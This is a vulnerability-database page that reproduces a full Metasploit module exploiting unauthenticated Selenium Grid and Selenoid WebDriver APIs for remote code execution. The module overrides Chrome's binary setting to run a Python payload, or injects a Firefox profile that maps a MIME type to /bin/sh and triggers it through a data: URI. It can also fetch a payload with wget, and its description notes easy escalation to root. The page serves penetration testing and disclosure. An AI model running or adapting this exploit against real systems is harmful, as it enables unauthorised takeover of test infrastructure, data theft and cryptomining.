Lucene search
K

Selenium Grid/Selenoid Unauthenticated RCE

🗓️ 14 Apr 2026 19:00:11Reported by Jon Stratton, Wiz Research, Takahiro Yokoyama, Valentin Lobstein <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 215 Views

Unauthenticated RCE via Selenium Grid or Selenoid WebDriver API with Firefox or Chrome vectors.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Module::Deprecated
  moved_from 'exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108'
  moved_from 'exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108'

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Payload::Python
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Selenium Grid/Selenoid Unauthenticated RCE',
        'Description' => %q{
          Selenium Grid and Selenoid expose a WebDriver API that allows creating
          browser sessions with arbitrary capabilities. When deployed without
          authentication (the default for both), an attacker can achieve remote
          code execution through two browser-specific techniques:

          For Chrome, the goog:chromeOptions binary field can be set to an
          arbitrary executable such as /usr/bin/python3, since ChromeDriver does
          not validate it. This was fixed in Selenium Grid 4.11.0 via the
          stereotype capabilities merge. All Selenoid versions remain vulnerable.

          For Firefox, a custom profile containing a malicious MIME handler that
          maps application/sh to /bin/sh can be injected via moz:firefoxOptions.
          Navigating to a data: URI with that content type triggers shell
          execution. This technique has never been patched and works on all
          Selenium Grid versions including the latest release.

          The module auto-detects available browsers and selects the best attack
          vector. Firefox is preferred as it works on all Grid versions.

          The default Docker images run as seluser/selenium with passwordless
          sudo, allowing trivial privilege escalation to root.
        },
        'Author' => [
          'Jon Stratton',
          'Wiz Research',
          'Takahiro Yokoyama',
          'Valentin Lobstein <chocapikk[at]leakix.net>'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['URL', 'https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps'],
          ['URL', 'https://www.selenium.dev/blog/2024/protecting-unsecured-selenium-grid/'],
          ['URL', 'https://github.com/SeleniumHQ/selenium/issues/9526'],
          ['URL', 'https://github.com/JonStratton/selenium-node-takeover-kit/tree/master'],
          ['EDB', '49915'],
          ['CWE', '306']
        ],
        'Platform' => %w[python unix linux],
        'Arch' => [ARCH_PYTHON, ARCH_CMD],
        'Payload' => {},
        'Targets' => [
          [
            'Python In-Memory',
            {
              'Platform' => 'python',
              'Arch' => ARCH_PYTHON
            }
          ],
          [
            'Unix/Linux Command Shell',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'FETCH_COMMAND' => 'WGET',
                'FETCH_DELETE' => true,
                'FETCH_WRITABLE_DIR' => '/tmp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2021-05-28',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options([
      Opt::RPORT(4444),
      OptString.new('TARGETURI', [true, 'Base path to Selenium Grid or Selenoid', '/']),
      OptEnum.new('BROWSER', [true, 'Browser to exploit (auto detects and picks best vector)', 'auto', %w[auto firefox chrome]])
    ])
  end

  def check
    @backend = detect_backend
    return CheckCode::Unknown('No response from target') unless @backend

    @browsers = enumerate_browsers
    return CheckCode::Appears("#{@backend[:message]} (all versions vulnerable)") if selenoid?

    check_grid
  end

  def exploit
    @backend ||= detect_backend
    @browsers ||= enumerate_browsers
    browser = select_browser
    fail_with(Failure::NoTarget, 'No exploitable browser found on target') unless browser

    send("exploit_#{browser}")
  end

  private

  def selenoid?
    @backend&.dig(:type) == :selenoid
  end

  def session_path
    normalize_uri(target_uri.path, selenoid? ? 'wd/hub/session' : 'session')
  end

  def grid_version
    nodes = @backend&.dig(:value, 'nodes')
    return unless nodes.is_a?(Array) && !nodes.empty?

    version_raw = nodes.first['version']
    return unless version_raw

    version_raw.split(/\s/).first
  end

  def chrome_vuln?
    return true if selenoid?

    ver = grid_version
    ver && Rex::Version.new(ver) < Rex::Version.new('4.11.0') && @browsers.include?('chrome')
  end

  def detect_backend
    %w[status wd/hub/status].each do |path|
      res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, path))
      next unless res&.code == 200

      value = res.get_json_document['value']
      next unless value.is_a?(Hash) && value['message'].is_a?(String)

      msg = value['message'].downcase
      return { type: :selenoid, message: value['message'], value: value } if msg.include?('selenoid')
      return { type: :grid, message: value['message'], value: value } if msg.include?('selenium grid')
    end
    nil
  end

  def enumerate_browsers
    return [] unless @backend
    return selenoid_browsers if selenoid?

    grid_browsers
  end

  def selenoid_browsers
    browsers = @backend[:value]['browsers']
    return %w[chrome firefox] unless browsers.is_a?(Hash)

    browsers.keys.map(&:downcase)
  end

  def grid_browsers
    nodes = @backend[:value]['nodes']
    return [] unless nodes.is_a?(Array)

    nodes.flat_map { |n| (n['slots'] || []).map { |s| s.dig('stereotype', 'browserName')&.downcase } }.compact.uniq
  end

  def check_grid
    ver_str = grid_version
    return CheckCode::Detected('Selenium Grid detected but could not determine version') unless ver_str
    return CheckCode::Appears("Selenium Grid #{ver_str} with Firefox (all versions vulnerable to profile handler)") if @browsers.include?('firefox')
    return CheckCode::Appears("Selenium Grid #{ver_str} with Chrome (vulnerable to binary override)") if chrome_vuln?
    return CheckCode::Safe("Selenium Grid #{ver_str} - Chrome patched (stereotype merge), no Firefox available") if @browsers.include?('chrome')

    CheckCode::Detected("Selenium Grid #{ver_str} - no exploitable browsers found")
  end

  def select_browser
    choice = datastore['BROWSER']

    if choice != 'auto'
      print_warning("#{choice} not available on target (found: #{@browsers.join(', ')})") unless @browsers.empty? || @browsers.include?(choice)
      return choice
    end

    if @browsers.include?('firefox')
      print_status('Auto-selected Firefox (profile handler - works on all Grid versions)')
      return 'firefox'
    end

    if @browsers.include?('chrome') && chrome_vuln?
      print_status('Auto-selected Chrome (binary override)')
      return 'chrome'
    end

    print_warning("Chrome binary override patched on Grid #{grid_version}, no Firefox available") if @browsers.include?('chrome')
    nil
  end

  def create_session(body)
    send_request_cgi('method' => 'POST', 'uri' => session_path, 'ctype' => 'application/json', 'data' => body)
  end

  def cleanup_session(session_id)
    res = send_request_cgi('method' => 'DELETE', 'uri' => normalize_uri(session_path, session_id), 'ctype' => 'application/json')
    print_status(res ? "Deleted session #{session_id}" : "Could not delete session #{session_id}. It may need to expire.")
  rescue StandardError
    nil
  end

  def exploit_chrome
    body = {
      'capabilities' => {
        'alwaysMatch' => {
          'browserName' => 'chrome',
          'goog:chromeOptions' => { 'binary' => '/usr/bin/python3', 'args' => ["-c#{build_python_payload}"] }
        }
      }
    }.to_json

    print_status('Sending Chrome session request with binary override...')
    res = create_session(body)

    return print_warning('No response received (expected - Python exits after execution)') unless res
    return print_good('Payload executed (server returned 500 as expected)') if res.code == 500

    fail_with(Failure::UnexpectedReply, "Unexpected HTTP #{res.code}") unless res.code == 200

    json = res.get_json_document
    return print_good("Payload executed (Chrome crash expected: #{json['value']['message']&.slice(0, 80)}...)") if json.dig('value', 'error')

    session_id = json.dig('value', 'sessionId')
    return unless session_id

    print_warning("Session #{session_id} created but binary override may have been ignored")
    cleanup_session(session_id)
  end

  def build_python_payload
    inner = target['Arch'] == ARCH_PYTHON ? payload.encoded : "os.system(#{payload.encoded.inspect})"
    py_create_exec_stub("import os,time\npid=os.fork()\nif pid==0:\n os.setsid()\n #{inner}\nelse:\n time.sleep(300)")
  end

  def exploit_firefox
    encoded_profile = build_malicious_profile
    body = {
      'desiredCapabilities' => { 'browserName' => 'firefox', 'firefox_profile' => encoded_profile },
      'capabilities' => { 'firstMatch' => [{ 'browserName' => 'firefox', 'moz:firefoxOptions' => { 'profile' => encoded_profile } }] }
    }.to_json

    print_status('Creating Firefox session with malicious profile...')
    res = create_session(body)
    fail_with(Failure::UnexpectedReply, 'No response when creating session') unless res

    session_id = res.get_json_document.dig('value', 'sessionId') || res.get_json_document['sessionId']
    fail_with(Failure::UnexpectedReply, 'Failed to create Firefox session') unless session_id
    print_status("Session created: #{session_id}")

    cmd = payload.encoded
    cmd = "echo -n #{Rex::Text.encode_base64(cmd)} | base64 -d | python3 &" if target['Arch'] == ARCH_PYTHON
    script = "#{cmd}\n"

    fetch_dir = datastore['FETCH_WRITABLE_DIR'] || '/tmp'
    fetch_file = datastore['FETCH_FILENAME']
    register_file_for_cleanup("#{fetch_dir}/#{fetch_file}") if fetch_file

    print_status('Navigating to data: URI to trigger handler...')
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, selenoid? ? 'wd/hub' : '', "session/#{session_id}/url"),
      'ctype' => 'application/json',
      'data' => { 'url' => "data:application/sh;charset=utf-16le;base64,#{Rex::Text.encode_base64(script)}" }.to_json
    )

    cleanup_session(session_id)
  end

  def build_malicious_profile
    stringio = Zip::OutputStream.write_buffer do |io|
      io.put_next_entry('handlers.json')
      io.write({
        'defaultHandlersVersion' => { 'en-US' => 4 },
        'mimeTypes' => { 'application/sh' => { 'action' => 2, 'handlers' => [{ 'name' => 'sh', 'path' => '/bin/sh' }] } }
      }.to_json)
    end
    stringio.rewind
    Base64.strict_encode64(stringio.sysread)
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation